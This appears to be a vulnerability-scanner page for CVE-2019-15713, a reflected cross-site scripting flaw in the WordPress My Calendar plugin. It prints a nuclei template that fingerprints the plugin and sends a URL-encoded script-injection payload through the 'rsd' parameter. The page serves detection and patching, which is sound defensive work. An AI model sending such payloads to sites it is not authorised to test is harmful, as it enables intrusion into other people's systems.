Browse / CVEs / CVE-2019-15713
CVE-2019-15713· my calendar project / my calendar· CWE-79
WordPress My Calendar <= 3.1.9 - Cross-Site Scripting
WordPress plugin My Calendar <= 3.1.9 is susceptible to reflected cross-site scripting which can be triggered via unescaped usage of URL parameters in multiple locations throughout the site.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
Fix
Update to the latest version of the My Calendar plugin (>= 3.1.10) or apply the vendor-provided patch to fix the XSS vulnerability.
How to confirm it
Send: GET /wp-content/plugins/my-calendar/readme.txt
Positive when: contains "My Calendar" and "Tags:"
Send: GET {{BaseURL}}/?rsd=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2019-15713 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-15713
info:
name: WordPress My Calendar <= 3.1.9 - Cross-Site Scripting
author: daffainfo,dhiyaneshDk
severity: medium
description: WordPress plugin My Calendar <= 3.1.9 is susceptible to reflected cross-site scripting which can be triggered via unescaped usage of URL parameters in multiple locations throughout the site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update to the latest version of the My Calendar plugin (>= 3.1.10) or apply the vendor-provided patch to fix the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/9267
- https://wordpress.org/plugins/my-calendar/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2019-15713
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-15713
cwe-id: CWE-79
epss-score: 0.02182
epss-percentile: 0.82522
cpe: cpe:2.3:a:my_calendar_project:my_calendar:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "my_calendar_project"
product: "my_calendar"
framework: wordpress
fofa-query: "\"wordpress\" && body=\"wp-content/plugins/my-calendar\""
tags: cve,cve2019,wordpress,xss,wp-plugin,wpscan,my_calendar_project,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'My Calendar'
- 'Tags:'
condition: and
- method: GET
path:
- '{{BaseURL}}/?rsd=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/9267
- https://wordpress.org/plugins/my-calendar/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2019-15713
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from